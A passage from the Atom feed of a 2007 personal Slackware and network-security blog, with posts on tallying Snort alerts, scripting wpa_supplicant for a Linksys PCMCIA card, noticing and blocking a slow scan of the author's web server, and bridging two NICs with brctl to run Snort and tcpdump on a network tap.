logs go back to May of 2007.&lt;br /&gt;&lt;br /&gt;I did the same for my snort logs:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;egrep 'Classification:' alert | sort | uniq -c | sort -rn&lt;br /&gt;&lt;br /&gt; 14441 [Classification: Misc activity] [Priority: 3]&lt;br /&gt;  1892 [Classification: Web Application Attack] [Priority: 1]&lt;br /&gt;  1857 [Classification: Attempted Information Leak] [Priority: 2]&lt;br /&gt;  1613 [Classification: Misc Attack] [Priority: 2]&lt;br /&gt;  1147 [Classification: access to a potentially vulnerable web application] [Priority: 2]&lt;br /&gt;   442 [Classification: Executable code was detected] [Priority: 1]&lt;br /&gt;     7 [Classification: Potentially Bad Traffic] [Priority: 2]&lt;br /&gt;     3 [Classification: Attempted User Privilege Gain] [Priority: 1]&lt;br /&gt;     3 [Classification: Attempted Denial of Service] [Priority: 2]&lt;br /&gt;     2 [Classification: Detection of a Network Scan] [Priority: 3]&lt;br /&gt;     1 [Classification: Attempted Administrator Privilege Gain] [Priority: 1]&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This Snort log is 7.4M in size.&lt;br /&gt;&lt;br /&gt;Pretty cool, eh?  I thought it would be cool to share this!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2631520113191594279?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2631520113191594279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2631520113191594279' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2631520113191594279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2631520113191594279'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/12/modsecurity-again.html' title='Modsecurity again'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3482938580835320203</id><published>2007-11-23T11:50:00.000-05:00</published><updated>2008-01-06T23:19:07.269-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iwconfig'/><category scheme='http://www.blogger.com/atom/ns#' term='WPC54GS'/><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><category scheme='http://www.blogger.com/atom/ns#' term='wpa_supplicant'/><category scheme='http://www.blogger.com/atom/ns#' term='Linksys'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='BASH'/><category scheme='http://www.blogger.com/atom/ns#' term='Toshiba Satellite'/><category scheme='http://www.blogger.com/atom/ns#' term='WLAN'/><category scheme='http://www.blogger.com/atom/ns#' term='PCMCIA'/><category scheme='http://www.blogger.com/atom/ns#' term='1805-S274'/><category scheme='http://www.blogger.com/atom/ns#' term='ndiswrapper'/><title type='text'>WPA and Slackware (or in this case, Backtrack)</title><content type='html'>I've got Slackware (OK, actually Backtrack...the differences between the two are subtle but defined pretty well and is a discussion for another day) running wpa_supplicant.  In the last week, I've seen several people complaining on the lack of documentation on how to get this running.  Another issue that isn't well-documented is the fact that Slackware has no GUI that'll allow the user to switch wireless networks as quickly as possible.  My only answer is to use Slackware's KDE-based wifi management tool.&lt;br /&gt;&lt;br /&gt;I've used ndiswrapper with a closed-source card on a Toshiba Satellite 1805-S274, in this case.&lt;br /&gt;&lt;br /&gt;Anyways, I'm going to attempt to describe how I use wpa-supplicant.  My wifi setup uses a PCMCIA card (Linksys WPC54GS) in which I have to use win32 drivers (via ndiswrapper).  I created a script in the root  directory: wlan_script2.sh.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#!/usr/bin/bash&lt;br /&gt;&lt;br /&gt;#Start of script&lt;br /&gt;&lt;br /&gt;wpa_supplicant -ieth1 -c/etc/wpa_supplicant.conf -dP -Dndiswrapper -B&lt;br /&gt;&lt;br /&gt;dhcpcd -d -t 10 eth1&lt;br /&gt;&lt;br /&gt;#End of script&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;I've also added the following to the bottom of the /etc/wpa_supplicant.conf file:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;network={&lt;br /&gt;   ssid="youarebeingwatched2"&lt;br /&gt;   proto=WPA&lt;br /&gt;   key_mgmt=WPA-PSK&lt;br /&gt;   psk="There are a lot of steps to this document and the process should be simplified!"&lt;br /&gt;   priority=99&lt;br /&gt;}&lt;/blockquote&gt;I usually run the first script above, then the second.  I'm then instantly connected without trouble:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bt ~ # ./wlan_script2.sh&lt;br /&gt;Initializing interface 'eth1' conf '/etc/wpa_supplicant.conf' driver 'default' ctrl_interface 'N/A'&lt;br /&gt;bridge 'N/A'&lt;br /&gt;Configuration file '/etc/wpa_supplicant.conf' -&gt; '/etc/wpa_supplicant.conf'&lt;br /&gt;Reading configuration file '/etc/wpa_supplicant.conf'&lt;br /&gt;ctrl_interface='/var/run/wpa_supplicant'&lt;br /&gt;ctrl_interface_group='wheel' (DEPRECATED)&lt;br /&gt;eapol_version=1&lt;br /&gt;ap_scan=1&lt;br /&gt;fast_reauth=1&lt;br /&gt;Priority group 99&lt;br /&gt;id=0 ssid='youarebeingwatched2'&lt;br /&gt;Initializing interface (2) 'eth1'&lt;br /&gt;EAPOL: SUPP_PAE entering state DISCONNECTED&lt;br /&gt;EAPOL: KEY_RX entering state NO_KEY_RECEIVE&lt;br /&gt;EAPOL: SUPP_BE entering state INITIALIZE&lt;br /&gt;EAP: EAP entering state DISABLED&lt;br /&gt;EAPOL: External notification - portEnabled=0&lt;br /&gt;EAPOL: External notification - portValid=0&lt;br /&gt;SIOCGIWRANGE: WE(compiled)=21 WE(source)=18 enc_capa=0xf&lt;br /&gt;capabilities: key_mgmt 0xf enc 0xf&lt;br /&gt;WEXT: Operstate: linkmode=1, operstate=5&lt;br /&gt;Own MAC address: 00:0f:66:4a:42:6a&lt;br /&gt;wpa_driver_wext_set_wpa&lt;br /&gt;wpa_driver_wext_set_key: alg=0 key_idx=0 set_tx=0 seq_len=0 key_len=0&lt;br /&gt;wpa_driver_wext_set_key: alg=0 key_idx=1 set_tx=0 seq_len=0 key_len=0&lt;br /&gt;wpa_driver_wext_set_key: alg=0 key_idx=2 set_tx=0 seq_len=0 key_len=0&lt;br /&gt;wpa_driver_wext_set_key: alg=0 key_idx=3 set_tx=0 seq_len=0 key_len=0&lt;br /&gt;wpa_driver_wext_set_countermeasures&lt;br /&gt;wpa_driver_wext_set_drop_unencrypted&lt;br /&gt;Setting scan request: 0 sec 100000 usec&lt;br /&gt;Using existing control interface directory.&lt;br /&gt;ctrl_interface_group=10 (from group name 'wheel')&lt;br /&gt;Added interface eth1&lt;br /&gt;Daemonize..&lt;br /&gt;dhcpcd: MAC address = 00:0f:66:4a:42:6a&lt;br /&gt;dhcpcd: your IP address = 10.150.1.109&lt;/blockquote&gt;Now, this is a cheap hack and this can be done using the existing Slackware scripts, most likely...it was quicker for me to script this on my own and get internet connectivity up and running quickly.  Besides that, I'm OK using this hack.  Usually I just turn on the laptop, plug in  the wireless PCMCIA adapter (Linksys WPC54GS), run the scripts, and commence to browse!&lt;br /&gt;&lt;br /&gt;Any of you got any wireless hacks?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3482938580835320203?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3482938580835320203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3482938580835320203' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3482938580835320203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3482938580835320203'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/11/wpa-and-slackware-or-in-this-case.html' title='WPA and Slackware (or in this case, Backtrack)'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4200019304140508927</id><published>2007-11-23T00:51:00.000-05:00</published><updated>2007-11-23T00:55:13.994-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Dummies'/><title type='text'>A Good Read:  Snort for Dummies</title><content type='html'>Don't laugh.  I bought this book a long time ago so that I could understand some things about Snort that were described in other expensive books that I didn't understand.  Somtimes, very basic explanations in a non-technical jargon is best and every little bit of understanding helps, right?  Here's the link:  &lt;a href="http://www.dummies.com/WileyCDA/DummiesArticle/id-2531,subcat-NETWORKING.html"&gt;Snort for Dummies&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4200019304140508927?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4200019304140508927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4200019304140508927' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4200019304140508927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4200019304140508927'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/11/good-read-snort-for-dummies.html' title='A Good Read:  Snort for Dummies'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2209103676298125066</id><published>2007-11-18T21:18:00.000-05:00</published><updated>2007-11-18T21:36:12.624-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='wiki'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='LinuxFormat'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><title type='text'>58 Cool Hacks...and more</title><content type='html'>&lt;a href="http://www.linuxformat.co.uk/wiki/index.php/58_Cool_Hacks"&gt;Here&lt;/a&gt; are fifty-eight (58) cool hacks that are posted on the Linux Format Wiki.  Some of these are actually cool and insightful.  I plan on attemtping to regularly use a few of them.  I'll let you know a bit later which ones they are and how well my implementation and usage goes.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.linuxformat.co.uk/wiki/index.php/Build_your_own_distro"&gt;Here&lt;/a&gt; is another good link.  It describes in detail how to build your own distribution (build, not create, as you will build from a pre-existing Linux ISO file).  If I'd enough time to do this, I would...maybe during my next holiday, I'll begin this, with the idea of making a seriously light yet secure distro.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.linuxformat.co.uk/wiki/index.php/Slackware"&gt;This&lt;/a&gt; one is a good one, but I've only skimmed it so far.  It is LinuxFormat's Slackware documentation.  Since I know they are a bit biased in their views of Slackware (they seem to think that apt-get-like package management is a requirement and that the distribution is a bit 'behind the times'), I know I need to read this part of their wiki with some attention to detail.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2209103676298125066?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2209103676298125066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2209103676298125066' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2209103676298125066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2209103676298125066'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/11/58-cool-hacks.html' title='58 Cool Hacks...and more'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1537461100998532822</id><published>2007-11-10T14:04:00.001-05:00</published><updated>2007-12-31T19:27:41.140-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webserver'/><category scheme='http://www.blogger.com/atom/ns#' term='attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='log investigation'/><title type='text'>Web server being scanned</title><content type='html'>Hrmm...I've found that my web server is being slowly scanned.  This scan looks to be attempting to do a 'low and slow' scan, attempting to circumvent any monitoring thresholds.  In fact, I noticed the scans a few days ago and just added the IP to my firewall block list.&lt;br /&gt;&lt;br /&gt;Here's what I've seen so far:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.dshield.org/ipinfo.html?ip=67.15.135.144"&gt;DShield&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mynetwatchman.com/LID.asp?IID=267967798"&gt;myNetWatchman&lt;/a&gt;&lt;br /&gt;&lt;a href="http://web-sniffer.net/?url=67.15.135.144&amp;amp;submit=Submit&amp;amp;http=1.1&amp;amp;gzip=yes&amp;amp;type=GET&amp;amp;ua=Mozilla%2F5.0+%28Macintosh%3B+U%3B+Intel+Mac+OS+X%3B+en-US%3B+rv%3A1.8.1.9%29+Gecko%2F20071025+Firefox%2F2.0.0.9+Web-Sniffer%2F1.0.24"&gt;Web Sniffer Proxy&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Both of those links just show a few of my firewall entries.  I give feeds of my logs to several organizations to assist in monitoring internet-wide attacks and trending.&lt;br /&gt;&lt;br /&gt;My Snort logs show a different story (IDS logs always do, when comparing to firewall logs).  What I'm seeing are SNMP-type scans, which are probably NMAP scans.  What's weird is that the scans originate from IP 67.15.135.144:80.  Visiting that page with http://web-sniffer.net, I see an unconfigured/new server account:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span class="tag"&gt;        &lt;p&gt;&lt;/p&gt;&lt;/span&gt; &lt;span class="attr"&gt;class&lt;/span&gt;="&lt;span class="value"&gt;welcomeText&lt;/span&gt;"&lt;span class="tag"&gt;&gt;&lt;/span&gt;Server Default page&lt;span class="tag"&gt;&lt;p&gt;&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="attr"&gt;class&lt;/span&gt;="&lt;span class="value"&gt;descriptionText&lt;/span&gt;"&lt;span class="tag"&gt;&gt;&lt;/span&gt;&lt;br /&gt;       If you see this page it means:&lt;span class="tag"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;       1. hosting for this domain is not configured&lt;span class="tag"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;       or&lt;span class="tag"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;       2. there's no such domain registered in Plesk&lt;br /&gt;     &lt;span class="tag"&gt;&lt;p&gt;&lt;/p&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The above is usually an indicator of badness...it appears that someone may have purposely stood up this account to use to maliciously.  All they need is a running web server, and the fact that I'm seeing what I am is an indication that the web server is up and running (I also got an HTTP status code of '200').&lt;br /&gt;&lt;br /&gt;I'll keep monitoring this activity, although the activity is fully blocked (the whole network range is blocked).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1537461100998532822?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1537461100998532822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1537461100998532822' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1537461100998532822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1537461100998532822'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/11/web-server-being-scanned.html' title='Web server being scanned'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4099380940141237386</id><published>2007-11-04T00:11:00.000-04:00</published><updated>2007-12-31T19:28:01.788-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='old hardware'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><title type='text'>Slack v12.0 on a old rackmount</title><content type='html'>My Dell Precision 220 that I had NetBSD installed on has a CPU fan that is dying (bearing failure which is pretty damn noisy).  I've turned off the machine but needed a temporary replacement, so I took an old rackmount (no-name brand that was pretty much hand-built) and installed Slackware v12.0 on it.  It was previously running Astaro Linux but I needed something that had a bunch of installed NICs.  This machine has 4 NICs.  I need three of them, one for the management interface and two for connections to an ethernet tap (I'm sniffing traffic before my firewall).&lt;br /&gt;&lt;br /&gt;I'd thought this would be a huge exercise in hunting down how to bind the two interfaces that were plugged into the tap ports of the tap, but it was easier than in NetBSD.&lt;br /&gt;&lt;br /&gt;After installing Slackware v12.0 and then Snort (2.6.1.5), I then used 'brctl' to establish an ethernet bridge across two different physical interfaces:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;root@suna:~# brctl&lt;br /&gt;Usage: brctl [commands]&lt;br /&gt;commands:&lt;br /&gt;      addbr           &lt;bridge&gt;                add bridge&lt;br /&gt;      delbr           &lt;bridge&gt;                delete bridge&lt;br /&gt;      addif           &lt;bridge&gt; &lt;device&gt;       add interface to bridge&lt;br /&gt;      delif           &lt;bridge&gt; &lt;device&gt;       delete interface from bridge&lt;br /&gt;      setageing       &lt;bridge&gt; &lt;time&gt;         set ageing time&lt;br /&gt;      setbridgeprio   &lt;bridge&gt; &lt;prio&gt;         set bridge priority&lt;br /&gt;      setfd           &lt;bridge&gt; &lt;time&gt;         set bridge forward delay&lt;br /&gt;      sethello        &lt;bridge&gt; &lt;time&gt;         set hello time&lt;br /&gt;      setmaxage       &lt;bridge&gt; &lt;time&gt;         set max message age&lt;br /&gt;      setpathcost     &lt;bridge&gt; &lt;port&gt; &lt;cost&gt;  set path cost&lt;br /&gt;      setportprio     &lt;bridge&gt; &lt;port&gt; &lt;prio&gt;  set port priority&lt;br /&gt;      show                                    show a list of bridges&lt;br /&gt;      showmacs        &lt;bridge&gt;                show a list of mac addrs&lt;br /&gt;      showstp         &lt;bridge&gt;                show bridge stp info&lt;br /&gt;      stp             &lt;bridge&gt; {on|off}       turn stp on/off&lt;br /&gt;root@suna:~#&lt;br /&gt;root@suna:~# brctl addbr br0&lt;br /&gt;root@suna:~#&lt;br /&gt;root@suna:~#&lt;br /&gt;root@suna:~# ifconfig br0&lt;br /&gt;br0       Link encap:Ethernet  HWaddr 00:00:00:00:00:00&lt;br /&gt;        BROADCAST MULTICAST  MTU:1500  Metric:1&lt;br /&gt;        RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;        TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;        collisions:0 txqueuelen:0&lt;br /&gt;        RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;&lt;br /&gt;root@suna:~# ifconfig eth2 up&lt;br /&gt;root@suna:~# ifconfig eth3 up&lt;br /&gt;root@suna:~# brctl addif br0 eth2&lt;br /&gt;root@suna:~# brctl addif br0 eth3&lt;br /&gt;root@suna:~# ifconfig br0 up&lt;br /&gt;root@suna:~# tcpdump -ivv br0&lt;br /&gt;tcpdump: SIOCGIFHWADDR: No such device&lt;br /&gt;root@suna:~# tcpdump -vvi br0&lt;br /&gt;tcpdump: WARNING: br0: no IPv4 address assigned&lt;br /&gt;tcpdump: listening on br0, link-type EN10MB (Ethernet), capture size 96 bytes&lt;br /&gt;23:44:41.166720 IP (tos 0x0, ttl  54, id 47678, offset 0, flags [DF], proto: TCP (6), length: 129) 64.161.255.20.ircd &gt; pool-71-178-10-160.washdc.fios.verizon.net.49197: P 692786612:692786689(77) ack 97899523 win 98 &lt;nop,nop,timestamp 2597813343="" 892030932=""&gt;&lt;br /&gt;23:44:41.167554 IP (tos 0x0, ttl  63, id 17743, offset 0, flags [DF], proto: TCP (6), length: 52) pool-71-178-10-160.washdc.fios.verizon.net.49197 &gt; 64.161.255.20.ircd: ., cksum 0x501f (correct), 1:1(0) ack 77 win 1002 &lt;nop,nop,timestamp 892031212="" 2597813343=""&gt;&lt;br /&gt;23:44:41.175972 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 72) pool-71-178-10-160.washdc.fios.verizon.net.1024 &gt; nsrest01.verizon.net.domain: [udp sum ok]  19732+ PTR? 20.255.161.64.in-addr.arpa. (44)&lt;br /&gt;23:44:41.481742 IP (tos 0x0, ttl 249, id 47959, offset 0, flags [DF], proto: UDP (17), length: 123) nsrest01.verizon.net.domain &gt; pool-71-178-10-160.washdc.fios.verizon.net.1024:  19732 NXDomain q: PTR? 20.255.161.64.in-addr.arpa. 0/1/0 ns: 255.161.64.in-addr.arpa. (95)&lt;br /&gt;&lt;br /&gt;4 packets captured&lt;br /&gt;4 packets received by filter&lt;br /&gt;0 packets dropped by kernel&lt;br /&gt;root@suna:~# ifconfig br0&lt;br /&gt;br0       Link encap:Ethernet  HWaddr 00:D0:B7:85:78:D6&lt;br /&gt;        inet6 addr: fe80::2d0:b7ff:fe85:78d6/64 Scope:Link&lt;br /&gt;        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;        RX packets:13 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;        TX packets:6 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;        collisions:0 txqueuelen:0&lt;br /&gt;        RX bytes:1108 (1.0 KiB)  TX bytes:468 (468.0 b)&lt;br /&gt;&lt;br /&gt;&lt;/nop,nop,timestamp&gt;&lt;/nop,nop,timestamp&gt;&lt;/bridge&gt;&lt;/bridge&gt;&lt;/bridge&gt;&lt;/prio&gt;&lt;/port&gt;&lt;/bridge&gt;&lt;/cost&gt;&lt;/port&gt;&lt;/bridge&gt;&lt;/time&gt;&lt;/bridge&gt;&lt;/time&gt;&lt;/bridge&gt;&lt;/time&gt;&lt;/bridge&gt;&lt;/prio&gt;&lt;/bridge&gt;&lt;/time&gt;&lt;/bridge&gt;&lt;/device&gt;&lt;/bridge&gt;&lt;/device&gt;&lt;/bridge&gt;&lt;/bridge&gt;&lt;/bridge&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;After setting up the br0 interface, I could then use Snort to sniff the br0 device (and see the traffic of the interfaces bridged to br0):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;root@suna:~# brctl show&lt;br /&gt;bridge name     bridge id               STP enabled     interfaces&lt;br /&gt;br0             8000.00d0b78578d6       no              eth2&lt;br /&gt;                                                      eth3&lt;br /&gt;root@suna:~# ifconfig eth2&lt;br /&gt;eth2      Link encap:Ethernet  HWaddr 00:D0:B7:85:78:D6&lt;br /&gt;        inet6 addr: fe80::2d0:b7ff:fe85:78d6/64 Scope:Link&lt;br /&gt;        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;        RX packets:49363 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;        TX packets:41805 errors:0 dropped:0 overruns:0 carrier:10&lt;br /&gt;        collisions:1202 txqueuelen:1000&lt;br /&gt;        RX bytes:41520086 (39.5 MiB)  TX bytes:5730882 (5.4 MiB)&lt;br /&gt;        Interrupt:5&lt;br /&gt;&lt;br /&gt;root@suna:~# ifconfig eth3&lt;br /&gt;eth3      Link encap:Ethernet  HWaddr 00:D0:B7:85:8A:B4&lt;br /&gt;        inet6 addr: fe80::2d0:b7ff:fe85:8ab4/64 Scope:Link&lt;br /&gt;        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;        RX packets:41860 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;        TX packets:49312 errors:0 dropped:0 overruns:0 carrier:940&lt;br /&gt;        collisions:959 txqueuelen:1000&lt;br /&gt;        RX bytes:5771456 (5.5 MiB)  TX bytes:41483624 (39.5 MiB)&lt;br /&gt;        Interrupt:10&lt;br /&gt;&lt;br /&gt;root@suna:~# ethtool eth2&lt;br /&gt;Settings for eth2:&lt;br /&gt;      Supported ports: [ TP MII ]&lt;br /&gt;      Supported link modes:   10baseT/Half 10baseT/Full&lt;br /&gt;                              100baseT/Half 100baseT/Full&lt;br /&gt;      Supports auto-negotiation: Yes&lt;br /&gt;      Advertised link modes:  10baseT/Half 10baseT/Full&lt;br /&gt;                              100baseT/Half 100baseT/Full&lt;br /&gt;      Advertised auto-negotiation: Yes&lt;br /&gt;      Speed: 100Mb/s&lt;br /&gt;      Duplex: Half&lt;br /&gt;      Port: MII&lt;br /&gt;      PHYAD: 1&lt;br /&gt;      Transceiver: internal&lt;br /&gt;      Auto-negotiation: on&lt;br /&gt;      Current message level: 0x000020c1 (8385)&lt;br /&gt;      Link detected: yes&lt;br /&gt;&lt;br /&gt;root@suna:~# ethtool eth3&lt;br /&gt;Settings for eth3:&lt;br /&gt;      Supported ports: [ TP MII ]&lt;br /&gt;      Supported link modes:   10baseT/Half 10baseT/Full&lt;br /&gt;                              100baseT/Half 100baseT/Full&lt;br /&gt;      Supports auto-negotiation: Yes&lt;br /&gt;      Advertised link modes:  10baseT/Half 10baseT/Full&lt;br /&gt;                              100baseT/Half 100baseT/Full&lt;br /&gt;      Advertised auto-negotiation: Yes&lt;br /&gt;      Speed: 100Mb/s&lt;br /&gt;      Duplex: Half&lt;br /&gt;      Port: MII&lt;br /&gt;      PHYAD: 1&lt;br /&gt;      Transceiver: internal&lt;br /&gt;      Auto-negotiation: on&lt;br /&gt;      Current message level: 0x000020c1 (8385)&lt;br /&gt;      Link detected: yes&lt;br /&gt;root@suna:~#&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;At this point, it can get snort to run, but it dies not long after starting the process.  I can also use tcpdump to sniff traffic from the br0 device.  I'm seeing normal traffic.  There's nothing in the logs to indicate any problems.  I'm also able to telnet to port 3306 (Snort is reporting events/alerts to a database).  I've also tested my snort.conf and it appears sane (no reported errors) and will connect to the MySQL database without errors.&lt;br /&gt;&lt;br /&gt;Hrmmm...looks like it will be a busy weekend...&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Edit - 11/10/2007:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;I had to revert to Snort v2.4.4 for now, as v2.6.1.5 was causing serious memory issues.  Using the -M switch, Snort wasn't telling me why it was dying.  'dmesg' or cat'ing the /var/log/messages file wasn't showing why it was dying either.  The only hint was me watching the process via 'top'.  Within 5 min, the process would hog all 512MB of physical RAM and commence to using all virtual RAM (1GB).  The process would die less than an hour after start.  I began trimming the snort.conf file to lessen memory usage, but began to tire of doing this.  I decided to fall back a version until I could figure out why v2.6 wasn't working.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4099380940141237386?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4099380940141237386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4099380940141237386' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4099380940141237386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4099380940141237386'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/11/slack-v120-on-old-rackmount.html' title='Slack v12.0 on a old 